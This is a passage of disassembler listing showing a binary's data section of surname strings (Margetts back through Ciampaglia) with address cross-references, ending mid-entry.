___:0042E0B8o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E0B4o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E0B0o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E0ACo align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E0A8o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E0A4o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E0A0o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E09Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E098o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E094o aMalova db 'Malova',0 ; DATA XREF: ___:0042E090o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E08Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E088o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E084o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E080o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E07Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E078o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E074o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E070o aMacy db 'Macy',0 ; DATA XREF: ___:0042E06Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E068o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E064o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E060o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E05Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E058o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E054o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E050o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E04Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E048o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E044o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E040o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E03Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E038o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E034o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E030o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E02Co align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042E028o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E024o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E020o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E01Co aLoss db 'Loss',0 ; DATA XREF: ___:0042E018o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E014o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E010o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E00Co aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E008o aLivi db 'Livi',0 ; DATA XREF: ___:0042E004o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E000o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFFCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFF8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFF4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFF0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFECo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFE8o aLine db 'Line',0 ; DATA XREF: ___:0042DFE4o align 4 aLinder db 'Linder',0 align 10h aLinda db 'Linda',0 align 4 aLinares db 'Linares',0 aLim db 'Lim',0 aLightfoot db 'Lightfoot',0 align 10h aLight db 'Light',0 align 4 aLiem db 'Liem',0 align 10h aLidano db 'Lidano',0 align 4 aLiakos db 'Liakos',0 align 10h aLessi db 'Lessi',0 align 4 aLesser db 'Lesser',0 align 10h aLEnclos db 'l',27h,'Enclos',0 align 4 aLenard db 'Lenard',0 align 4 aLeite db 'Leite',0 align 4 aLeclercq db 'Leclercq',0 align 4 aLecce db 'Lecce',0 align 10h aLecar db 'Lecar',0 align 4 aLawless db 'Lawless',0 aLashley db 'Lashley',0 aLaserna db 'Laserna',0 aLanzit db 'Lanzit',0 align 4 aLantieri db 'Lantieri',0 align 4 aLankes db 'Lankes',0 align 4 aLandes db 'Landes',0 align 4 aLallemant db 'Lallemant',0 align 10h aLaing db 'Laing',0 align 4 aLafler db 'Lafler',0 align 10h aLabunka db 'Labunka',0 aLa db 'La',0 align 4 aKuwabara db 'Kuwabara',0 align 4 aKusman db 'Kusman',0 align 10h aKumar db 'Kumar',0 align 4 aKuenzli db 'Kuenzli',0 aKrysiak db 'Krysiak',0 aKroemer db 'Kroemer',0 aKraus db 'Kraus',0 align 4 aKrasney db 'Krasney',0 aKrailo db 'Krailo',0 align 4 aKraemer db 'Kraemer',0 aKovaks db 'Kovaks',0 align 4 aKotter db 'Kotter',0 align 10h aKorzybski db 'Korzybski',0 align 4 aKool db 'Kool',0 align 4 aKonrad db 'Konrad',0 align 4 aKoniaris db 'Koniaris',0 align 4 aKommer db 'Kommer',0 align 10h aKoivumaki db 'Koivumaki',0 align 4 aKohn db 'Kohn',0 align 4 aKoch db 'Koch',0 align 4 aKobrick db 'Kobrick',0 aKnuff db 'Knuff',0 align 4 aKlint db 'Klint',0 align 4 aKlinkenborg db 'Klinkenborg',0 aKling db 'Kling',0 align 4 aKlemperer db 'Klemperer',0 align 4 aKleinfelder db 'Kleinfelder',0 aKleiman db 'Kleiman',0 aKleckner db 'Kleckner',0 align 4 aKittridge db 'Kittridge',0 align 10h aKirscht db 'Kirscht',0 aKippenberger db 'Kippenberger',0 align 4 aKinsley db 'Kinsley',0 aKindall db 'Kindall',0 aKimura db 'Kimura',0 align 10h aKimmett db 'Kimmett',0 aKimmel db 'Kimmel',0 align 10h aKhong db 'Khong',0 align 4 aKeul db 'Keul',0 align 10h aKerry db 'Kerry',0 align 4 aKendall db 'Kendall',0 aKemsley db 'Kemsley',0 aKempton db 'Kempton',0 aKelsey db 'Kelsey',0 align 4 aKelker db 'Kelker',0 align 10h aKeith db 'Keith',0 align 4 aKeepper db 'Keepper',0 aKeenan db 'Keenan',0 align 4 aKee db 'Kee',0 aKawachi db 'Kawachi',0 aKasten db 'Kasten',0 align 4 aKassower db 'Kassower',0 align 4 aKarpouzes db 'Karpouzes',0 align 4 aKangis db 'Kangis',0 align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE94o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE90o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE8Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE88o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE84o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE80o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE7Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE78o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE74o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE70o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE6Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE68o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE64o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE60o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE5Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE58o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE54o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE50o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE4Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE48o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE44o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE40o aJay db 'Jay',0 ; DATA XREF: ___:0042DE3Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE38o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE34o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE30o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DE2Co align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DE28o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DE24o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DE20o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DE1Co align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DE18o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DE14o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DE10o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DE0Co align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DE08o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DE04o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DE00o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDFCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDF8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDF4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDF0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDECo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDE8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDE4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDE0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDDCo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDD8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDD4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDD0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DDCCo align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DDC8o aHoward db 'Howard',0 ; DATA XREF: ___:0042DDC4o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DDC0o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DDBCo aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DDB8o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DDB4o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DDB0o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DDACo align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DDA8o aHolway db 'Holway',0 ; DATA XREF: ___:0042DDA4o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DDA0o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD9Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD98o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD94o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD90o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD8Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD88o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD84o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD80o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD7Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD78o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD74o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD70o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD6Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD68o aHester db 'Hester',0 ; DATA XREF: ___:0042DD64o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD60o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD5Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD58o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD54o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD50o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD4Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD48o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD44o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD40o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD3Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD38o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD34o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD30o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DD2Co align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DD28o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DD24o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DD20o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DD1Co align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DD18o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DD14o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DD10o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DD0Co align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DD08o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DD04o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DD00o aHand db 'Hand',0 ; DATA XREF: ___:0042DCFCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCF8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCF4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCF0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCECo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCE8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCE4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCE0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCDCo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCD8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCD4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCD0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DCCCo aGunn db 'Gunn',0 ; DATA XREF: ___:0042DCC8o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DCC4o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DCC0o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DCBCo align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DCB8o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DCB4o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DCB0o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DCACo align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DCA8o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DCA4o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DCA0o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC9Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC98o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC94o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC90o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC8Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC88o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC84o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC80o aGist db 'Gist',0 ; DATA XREF: ___:0042DC7Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC78o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC74o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC70o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC6Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC68o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC64o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC60o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC5Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC58o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC54o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC50o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC4Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC48o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC44o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC40o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC3Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC38o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC34o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC30o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DC2Co align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DC28o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DC24o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DC20o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DC1Co align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DC18o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DC14o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DC10o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DC0Co align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DC08o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DC04o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DC00o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBFCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBF8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBF4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBF0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBECo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBE8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBE4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBE0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBDCo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBD8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBD4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBD0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DBCCo aFisk db 'Fisk',0 ; DATA XREF: ___:0042DBC8o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DBC4o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DBC0o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DBBCo aFink db 'Fink',0 ; DATA XREF: ___:0042DBB8o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DBB4o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DBB0o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DBACo align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DBA8o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DBA4o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DBA0o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB9Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB98o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB94o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB90o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB8Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB88o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB84o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB80o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB7Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB78o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB74o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB70o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB6Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB68o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB64o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB60o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB5Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB58o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB54o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB50o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB4Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB48o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB44o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB40o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB3Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB38o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB34o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB30o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DB2Co align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DB28o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DB24o aEdward db 'Edward',0 ; DATA XREF: ___:0042DB20o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DB1Co align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DB18o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DB14o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DB10o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DB0Co aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DB08o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DB04o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DB00o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DAFCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAF8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAF4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAF0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DAECo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAE8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAE4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAE0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DADCo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAD8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAD4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAD0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DACCo aDockery db 'Dockery',0 ; DATA XREF: ___:0042DAC8o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DAC4o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DAC0o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DABCo align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DAB8o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DAB4o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DAB0o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DAACo align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DAA8o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DAA4o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DAA0o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA9Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA98o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA94o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA90o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA8Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA88o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA84o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA80o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA7Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA78o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA74o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA70o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA6Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA68o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA64o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA60o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA5Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA58o aDavid db 'David',0 ; DATA XREF: ___:0042DA54o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA50o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA4Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA48o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA44o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA40o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA3Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA38o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA34o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA30o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DA2Co align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DA28o aCyders db 'Cyders',0 ; DATA XREF: ___:0042DA24o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042DA20o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DA1Co align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042DA18o aCui db 'Cui',0 ; DATA XREF: ___:0042DA14o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DA10o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DA0Co align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DA08o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DA04o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DA00o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9FCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9F8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9F4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9F0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9ECo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9E8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9E4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9E0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9DCo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9D4o ; ___:0042D9D8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9D0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D9CCo aColella db 'Colella',0 ; DATA XREF: ___:0042D9C8o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D9C4o aCoito db 'Coito',0 ; DATA XREF: ___:0042D9C0o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D9BCo aClow db 'Clow',0 ; DATA XREF: ___:0042D9B8o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D9B4o aClement db 'Clement',0 ; DATA XREF: ___:0042D9B0o aClark db 'Clark',0 ; DATA XREF: ___:0042D9ACo align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D9A8o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D9A4o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D9A0o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D99Co align 4 aCiampaglia db 